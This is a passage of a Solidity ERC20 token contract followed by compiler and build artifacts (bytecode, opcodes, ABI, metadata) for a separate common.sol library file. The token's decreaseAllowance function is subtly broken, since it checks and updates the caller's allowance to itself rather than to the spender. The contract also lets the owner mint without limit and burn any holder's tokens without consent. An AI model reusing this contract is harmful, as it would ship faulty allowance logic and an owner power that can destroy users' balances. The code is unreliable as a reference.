constructor (string memory _name, string memory _symbol, uint8 _decimals, address _owner, uint _initialMint) {
_transferOwnership(_owner);
name = _name;
symbol = _symbol;
decimals = _decimals;
if (_initialMint!=0) {
_mint(_owner, _initialMint * 10 ** _decimals);
}
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address account, address spender) public view returns (uint256) {
return _allowances[account][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
require(_allowances[sender][msg.sender] >= amount, 'ERC20: transfer amount exceeds allowance');
_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
uint c = _allowances[msg.sender][spender] + addedValue;
require(c >= addedValue, "SafeMath: addition overflow");
_approve(msg.sender, spender, c);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(_allowances[msg.sender][msg.sender] >= subtractedValue, 'ERC20: decreased allowance below zero');
_approve(msg.sender, spender, _allowances[msg.sender][msg.sender] - subtractedValue);
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(msg.sender, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
require(_balances[sender] >= amount, 'ERC20: transfer amount exceeds balance');
_balances[sender] -= amount;
uint c = _balances[recipient] + amount;
require(c >= amount, "SafeMath: addition overflow");
_balances[recipient] = c;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'ERC20: mint to the zero address');
uint c = totalSupply + amount;
require(c >= amount, "SafeMath: addition overflow");
totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'ERC20: burn from the zero address');
require(_balances[account] >= amount, 'ERC20: burn amount exceeds balance');
_balances[account] -= amount;
totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address account, address spender, uint256 amount) internal {
require(account != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[account][spender] = amount;
emit Approval(account, spender, amount);
}
function mintTo(address account, uint256 amount) external onlyOwner {
_mint(account, amount);
}
function burnFrom(address account, uint256 amount) external onlyOwner {
_burn(account, amount);
}
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"goerli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "60566050600b82828239805160001a6073146043577f4e487b7100000000000000000000000000000000000000000000000000000000600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220324be24cd05984eb66cd512602e55f81fcc0053ae63861d5cece390bb89f02cc64736f6c63430008080033",
"opcodes": "PUSH1 0x56 PUSH1 0x50 PUSH1 0xB DUP3 DUP3 DUP3 CODECOPY DUP1 MLOAD PUSH1 0x0 BYTE PUSH1 0x73 EQ PUSH1 0x43 JUMPI PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x0 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST ADDRESS PUSH1 0x0 MSTORE PUSH1 0x73 DUP2 MSTORE8 DUP3 DUP2 RETURN INVALID PUSH20 0x0 ADDRESS EQ PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 ORIGIN 0x4B 0xE2 0x4C 0xD0 MSIZE DUP5 0xEB PUSH7 0xCD512602E55F81 0xFC 0xC0 SDIV GASPRICE 0xE6 CODESIZE PUSH2 0xD5CE 0xCE CODECOPY SIGNEXTEND 0xB8 SWAP16 MUL 0xCC PUSH5 0x736F6C6343 STOP ADDMOD ADDMOD STOP CALLER ",
"sourceMap": "60:4220:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220324be24cd05984eb66cd512602e55f81fcc0053ae63861d5cece390bb89f02cc64736f6c63430008080033",
"opcodes": "PUSH20 0x0 ADDRESS EQ PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 ORIGIN 0x4B 0xE2 0x4C 0xD0 MSIZE DUP5 0xEB PUSH7 0xCD512602E55F81 0xFC 0xC0 SDIV GASPRICE 0xE6 CODESIZE PUSH2 0xD5CE 0xCE CODECOPY SIGNEXTEND 0xB8 SWAP16 MUL 0xCC PUSH5 0x736F6C6343 STOP ADDMOD ADDMOD STOP CALLER ",
"sourceMap": "60:4220:0:-:0;;;;;;;;"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "17200",
"executionCost": "97",
"totalCost": "17297"
},
"internal": {
"_revert(bytes memory,string memory)": "infinite",
"functionCall(address,bytes memory)": "infinite",
"functionCall(address,bytes memory,string memory)": "infinite",
"functionCallWithValue(address,bytes memory,uint256)": "infinite",
"functionCallWithValue(address,bytes memory,uint256,string memory)": "infinite",
"functionDelegateCall(address,bytes memory)": "infinite",
"functionDelegateCall(address,bytes memory,string memory)": "infinite",
"functionStaticCall(address,bytes memory)": "infinite",
"functionStaticCall(address,bytes memory,string memory)": "infinite",
"isContract(address)": "infinite",
"sendValue(address payable,uint256)": "infinite",
"verifyCallResult(bool,bytes memory,string memory)": "infinite",
"verifyCallResultFromTarget(address,bool,bytes memory,string memory)": "infinite"
}
},
"methodIdentifiers": {}
},
"abi": []
}
{
"compiler": {
"version": "0.8.8+commit.dddeac2f"
},
"language": "Solidity",
"output": {
"abi": [],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/COMMON/common.sol": "Address"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/COMMON/common.sol": {
"keccak256": "0x177a8df6d55170f3c232999b7952549b3b71aa7201b86d78a9a182d5943c8b78",
"license": "MIT",
"urls": [
"bzz-raw://b4075561afcd66760399dcb0130a6da12e3edec10d589032f9526b3986a12fa9",
"dweb:/ipfs/QmRUP3vWdQEmsrUz2ncAB2y54W1sizb9tca2kWnnjMV9Jo"
]
}
},
"version": 1
}
{
"id": "117801eebb34cb7163ea9cd5876d9c85",
"_format": "hh-sol-build-info-1",
"solcVersion": "0.8.8",
"solcLongVersion": "0.8.8+commit.dddeac2f",
"input": {
"language": "Solidity",
"sources": {
"contracts/COMMON/common.sol": {
"content": "// SPDX-License-Identifier: MIT\r\npragma solidity ^0.8.8;\r\n\r\nlibrary Address { \r\n function isContract(address account) internal view returns (bool) { \r\n return account.code.length > 0;\r\n }\r\n\r\n function sendValue(address payable recipient, uint256 amount) internal {\r\n require(address(this).balance >= amount, \"Address: insufficient balance\");\r\n\r\n (bool success, ) = recipient.call{value: amount}(\"\");\r\n require(success, \"Address: unable to send value, recipient may have reverted\");\r\n }\r\n\r\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\r\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\r\n }\r\n\r\n function functionCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n return functionCallWithValue(target, data, 0, errorMessage);\r\n }\r\n\r\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\r\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\r\n }\r\n\r\n function functionCallWithValue(\r\n address target,\r\n bytes memory data,\r\n uint256 value,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\r\n (bool success, bytes memory returndata) = target.call{value: value}(data);\r\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\r\n }\r\n\r\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\r\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\r\n }\r\n\r\n function functionStaticCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal view returns (bytes memory) {\r\n (bool success, bytes memory returndata) = target.staticcall(data);\r\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\r\n }\r\n\r\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\r\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\r\n }\r\n\r\n function functionDelegateCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n (bool success, bytes memory returndata) = target.delegatecall(data);\r\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\r\n }\r\n\r\n function verifyCallResultFromTarget(\r\n address target,\r\n bool success,\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) internal view returns (bytes memory) {\r\n if (success) {\r\n if (returndata.length == 0) {\r\n // only check isContract if the call was successful and the return data is empty\r\n // otherwise we already know that it was a contract\r\n require(isContract(target), \"Address: call to non-contract\");\r\n }\r\n return returndata;\r\n } else {\r\n _revert(returndata, errorMessage);\r\n }\r\n }\r\n\r\n function verifyCallResult(\r\n bool success,\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) internal pure returns (bytes memory) {\r\n if (success) {\r\n return returndata;\r\n } else {\r\n _revert(returndata, errorMessage);\r\n }\r\n }\r\n\r\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\r\n // Look for revert reason and bubble it up if present\r\n if (returndata.length > 0) {\r\n // The easiest way to bubble the revert reason is using memory via assembly\r\n /// @solidity memory-safe-assembly\r\n assembly {\r\n let returndata_size := mload(returndata)\r\n revert(add(32, returndata), returndata_size)\r\n }\r\n } else {\r\n revert(errorMessage);\r\n }\r\n }\r\n}\r\n\r\n\r\nlibrary SafeMath { \r\n function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r\n unchecked {\r\n uint256 c = a + b;\r\n if (c < a) return (false, 0);\r\n return (true, c);\r\n }\r\n }\r\n\r\n function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r\n unchecked {\r\n if (b > a) return (false, 0);\r\n return (true, a - b);\r\n }\r\n }\r\n\r\n function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r\n unchecked {\r\n if (a == 0) return (true, 0);\r\n uint256 c = a * b;\r\n if (c / a != b) return (false, 0);\r\n return (true, c);\r\n }\r\n }\r\n\r\n function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r\n unchecked {\r\n if (b == 0) return (false, 0);\r\n return (true, a / b);\r\n }\r\n }\r\n\r\n function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r\n unchecked {\r\n if (b == 0) return (false, 0);\r\n return (true, a % b);\r\n }\r\n }\r\n\r\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a + b;\r\n }\r\n\r\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a - b;\r\n }\r\n\r\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a * b;\r\n }\r\n\r\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a / b;\r\n }\r\n\r\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\r\n return a % b;\r\n }\r\n\r\n function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n unchecked {\r\n require(b <= a, errorMessage);\r\n return a - b;\r\n }\r\n }\r\n\r\n function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n unchecked {\r\n require(b > 0, errorMessage);\r\n return a / b;\r\n }\r\n }\r\n\r\n function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n unchecked {\r\n require(b > 0, errorMessage);\r\n return a % b;\r\n }\r\n }\r\n}\r\n\r\n\r\ninterface IERC20 {\r\n event Transfer(address indexed from, address indexed to, uint256 value);\r\n event Approval(address indexed owner, address indexed spender, uint256 value);\r\n function totalSupply() external view returns (uint256);\r\n function balanceOf(address account) external view returns (uint256);\r\n function transfer(address to, uint256 amount) external returns (bool);\r\n function allowance(address owner, address spender) external view returns (uint256);\r\n function approve(address spender, uint256 amount) external returns (bool);\r\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\r\n}\r\n\r\n\r\nabstract contract Context {\r\n function _msgSender() internal view virtual returns (address) {\r\n return msg.sender;\r\n }\r\n\r\n function _msgData() internal view virtual returns (bytes calldata) {\r\n return msg.data;\r\n }\r\n}\r\n\r\n\r\nabstract contract Ownable is Context {\r\n address private _owner;\r\n\r\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r\n\r\n constructor() {\r\n _transferOwnership(_msgSender());\r\n }\r\n\r\n modifier onlyOwner() {\r\n _checkOwner();\r\n _;\r\n }\r\n\r\n function owner() public view virtual returns (address) {\r\n return _owner;\r\n }\r\n \r\n function _checkOwner() internal view virtual {\r\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\r\n }\r\n\r\n function transferOwnership(address newOwner) public virtual onlyOwner {\r\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\r\n _transferOwnership(newOwner);\r\n }\r\n\r\n function _transferOwnership(address newOwner) internal virtual {\r\n address oldOwner = _owner;\r\n _owner = newOwner;\r\n emit OwnershipTransferred(oldOwner, newOwner);\r\n }\r\n}"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"": [
"ast"
],
"*": [
"abi",
"metadata",
"devdoc",
"userdoc",
"storageLayout",
"evm.legacyAssembly",
"evm.bytecode",
"evm.deployedBytecode",
"evm.methodIdentifiers",
"evm.gasEstimates",
"evm.assembly"
]
}
},
"remappings": []
}
},
"output": {
"contracts": {
"contracts/COMMON/common.sol": {
"Address": {
"abi": [],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"evm": {
"assembly": " /* \"contracts/COMMON/common.sol\":60:4280 library Address { ... */\n dataSize(sub_0)\n dataOffset(sub_0)\n 0x0b\n dup3\n dup3\n dup3\n codecopy\n dup1\n mload\n 0x00\n byte\n 0x73\n eq\n tag_1\n jumpi\n mstore(0x00, 0x4e487b7100000000000000000000000000000000000000000000000000000000)\n mstore(0x04, 0x00)\n revert(0x00, 0x24)\ntag_1:\n mstore(0x00, address)\n 0x73\n dup2\n mstore8\n dup3\n dup2\n return\nstop\n\nsub_0: assembly {\n /* \"contracts/COMMON/common.sol\":60:4280 library Address { ... */\n eq(address, deployTimeAddress())\n mstore(0x40, 0x80)\n 0x00\n dup1\n revert\n\n auxdata: 0xa2646970667358221220324be24cd05984eb66cd512602e55f81fcc0053ae63861d5cece390bb89f02cc64736f6c63430008080033\n}\n",
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "60566050600b82828239805160001a6073146043577f4e487b7100000000000000000000000000000000000000000000000000000000600052600060045260246000fd5b30600052607381538281f3fe73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220324be24cd05984eb66cd512602e55f81fcc0053ae63861d5cece390bb89f02cc64736f6c63430008080033",
"opcodes": "PUSH1 0x56 PUSH1 0x50 PUSH1 0xB DUP3 DUP3 DUP3 CODECOPY DUP1 MLOAD PUSH1 0x0 BYTE PUSH1 0x73 EQ PUSH1 0x43 JUMPI PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x0 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST ADDRESS PUSH1 0x0 MSTORE PUSH1 0x73 DUP2 MSTORE8 DUP3 DUP2 RETURN INVALID PUSH20 0x0 ADDRESS EQ PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 ORIGIN 0x4B 0xE2 0x4C 0xD0 MSIZE DUP5 0xEB PUSH7 0xCD512602E55F81 0xFC 0xC0 SDIV GASPRICE 0xE6 CODESIZE PUSH2 0xD5CE 0xCE CODECOPY SIGNEXTEND 0xB8 SWAP16 MUL 0xCC PUSH5 0x736F6C6343 STOP ADDMOD ADDMOD STOP CALLER ",
"sourceMap": "60:4220:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "73000000000000000000000000000000000000000030146080604052600080fdfea2646970667358221220324be24cd05984eb66cd512602e55f81fcc0053ae63861d5cece390bb89f02cc64736f6c63430008080033",
"opcodes": "PUSH20 0x0 ADDRESS EQ PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 REVERT INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 ORIGIN 0x4B 0xE2 0x4C 0xD0 MSIZE DUP5 0xEB PUSH7 0xCD512602E55F81 0xFC 0xC0 SDIV GASPRICE 0xE6 CODESIZE PUSH2 0xD5CE 0xCE CODECOPY SIGNEXTEND 0xB8 SWAP16 MUL 0xCC PUSH5 0x736F6C6343 STOP ADDMOD ADDMOD STOP CALLER ",
"sourceMap": "60:4220:0:-:0;;;;;;;;"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "17200",
"executionCost": "97",
"totalCost": "17297"
},
"internal": {
"_revert(bytes memory,string memory)": "infinite",
"functionCall(address,bytes memory)": "infinite",
"functionCall(address,bytes memory,string memory)": "infinite",
"functionCallWithValue(address,bytes memory,uint256)": "infinite",
"functionCallWithValue(address,bytes memory,uint256,string memory)": "infinite",
"functionDelegateCall(address,bytes memory)": "infinite",
"functionDelegateCall(address,bytes memory,string memory)": "infinite",
"functionStaticCall(address,bytes memory)": "infinite",
"functionStaticCall(address,bytes memory,string memory)": "infinite",
"isContract(address)": "infinite",
"sendValue(address payable,uint256)": "infinite",
"verifyCallResult(bool,bytes memory,string memory)": "infinite",
"verifyCallResultFromTarget(address,bool,bytes memory,string memory)": "infinite"
}
},
"legacyAssembly": {
".code": [
{
"begin": 60,
"end": 4280,
"name": "PUSH #[$]",
"source": 0,
"value": "0000000000000000000000000000000000000000000000000000000000000000"
},
{
"begin": 60,
"end": 4280,
"name": "PUSH [$]",
"source": 0,
"value": "0000000000000000000000000000000000000000000000000000000000000000"
},
{
"begin": 60,
"end": 4280,
"name": "PUSH",
"source": 0,
"value": "B"
},
{
"begin": 60,
"end": 4280,
"name": "DUP3",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "DUP3",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "DUP3",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "CODECOPY",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "DUP1",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "MLOAD",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "PUSH",
"source": 0,
"value": "0"
},
{
"begin": 60,
"end": 4280,
"name": "BYTE",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "PUSH",
"source": 0,
"value": "73"
},
{
"begin": 60,
"end": 4280,
"name": "EQ",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "PUSH [tag]",
"source": 0,
"value": "1"
},
{
"begin": 60,
"end": 4280,
"name": "JUMPI",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "PUSH",
"source": 0,
"value": "4E487B7100000000000000000000000000000000000000000000000000000000"
},
{
"begin": 60,
"end": 4280,
"name": "PUSH",
"source": 0,
"value": "0"
},
{
"begin": 60,
"end": 4280,
"name": "MSTORE",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "PUSH",
"source": 0,
"value": "0"
},
{
"begin": 60,
"end": 4280,
"name": "PUSH",
"source": 0,
"value": "4"
},
{
"begin": 60,
"end": 4280,
"name": "MSTORE",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "PUSH",
"source": 0,
"value": "24"
},
{
"begin": 60,
"end": 4280,
"name": "PUSH",
"source": 0,
"value": "0"
},
{
"begin": 60,
"end": 4280,
"name": "REVERT",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "tag",
"source": 0,
"value": "1"
},
{
"begin": 60,
"end": 4280,
"name": "JUMPDEST",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "ADDRESS",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "PUSH",
"source": 0,
"value": "0"
},
{
"begin": 60,
"end": 4280,
"name": "MSTORE",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "PUSH",
"source": 0,
"value": "73"
},
{
"begin": 60,
"end": 4280,
"name": "DUP2",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "MSTORE8",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "DUP3",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "DUP2",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "RETURN",
"source": 0
}
],
".data": {
"0": {
".auxdata": "a2646970667358221220324be24cd05984eb66cd512602e55f81fcc0053ae63861d5cece390bb89f02cc64736f6c63430008080033",
".code": [
{
"begin": 60,
"end": 4280,
"name": "PUSHDEPLOYADDRESS",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "ADDRESS",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "EQ",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "PUSH",
"source": 0,
"value": "80"
},
{
"begin": 60,
"end": 4280,
"name": "PUSH",
"source": 0,
"value": "40"
},
{
"begin": 60,
"end": 4280,
"name": "MSTORE",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "PUSH",
"source": 0,
"value": "0"
},
{
"begin": 60,
"end": 4280,
"name": "DUP1",
"source": 0
},
{
"begin": 60,
"end": 4280,
"name": "REVERT",
"source": 0
}
]
}
}
},
"methodIdentifiers": {}
},
"metadata": "{\"compiler\":{\"version\":\"0.8.8+commit.dddeac2f\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/COMMON/common.sol\":\"Address\"},\"evmVersion\":\"london\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[]},\"sources\":{\"contracts/COMMON/common.sol\":{\"keccak256\":\"0x177a8df6d55170f3c232999b7952549b3b71aa7201b86d78a9a182d5943c8b78\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://b4075561afcd66760399dcb0130a6da12e3edec10d589032f9526b3986a12fa9\",\"dweb:/ipfs/QmRUP3vWdQEmsrUz2ncAB2y54W1sizb9tca2kWnnjMV9Jo\"]}},\"version\":1}",
"storageLayout": {
"storage": [],
"types": null
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"Context": {
"abi": [],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"evm": {
"assembly": "",
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"legacyAssembly": null,
"methodIdentifiers": {}
},
"metadata": "{\"compiler\":{\"version\":\"0.8.8+commit.dddeac2f\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/COMMON/common.sol\":\"Context\"},\"evmVersion\":\"london\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[]},\"sources\":{\"contracts/COMMON/common.sol\":{\"keccak256\":\"0x177a8df6d55170f3c232999b7952549b3b71aa7201b86d78a9a182d5943c8b78\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://b4075561afcd66760399dcb0130a6da12e3edec10d589032f9526b3986a12fa9\",\"dweb:/ipfs/QmRUP3vWdQEmsrUz2ncAB2y54W1sizb9tca2kWnnjMV9Jo\"]}},\"version\":1}",
"storageLayout": {
"storage": [],
"types": null
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"IERC20": {
"abi": [
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Approval",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Transfer",
"type": "event"
},
{
"inputs": [
{
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"internalType": "address",
"name": "spender",
"type": "address"
}
],
"name": "allowance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "approve",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "from",
"type": "address"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transferFrom",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"evm": {
"assembly": "",
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"legacyAssembly": null,
"methodIdentifiers": {
"allowance(address,address)": "dd62ed3e",
"approve(address,uint256)": "095ea7b3",
"balanceOf(address)": "70a08231",
"totalSupply()": "18160ddd",
"transfer(address,uint256)": "a9059cbb",
"transferFrom(address,address,uint256)": "23b872dd"
}
},
"metadata": "{\"compiler\":{\"version\":\"0.8.8+commit.dddeac2f\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":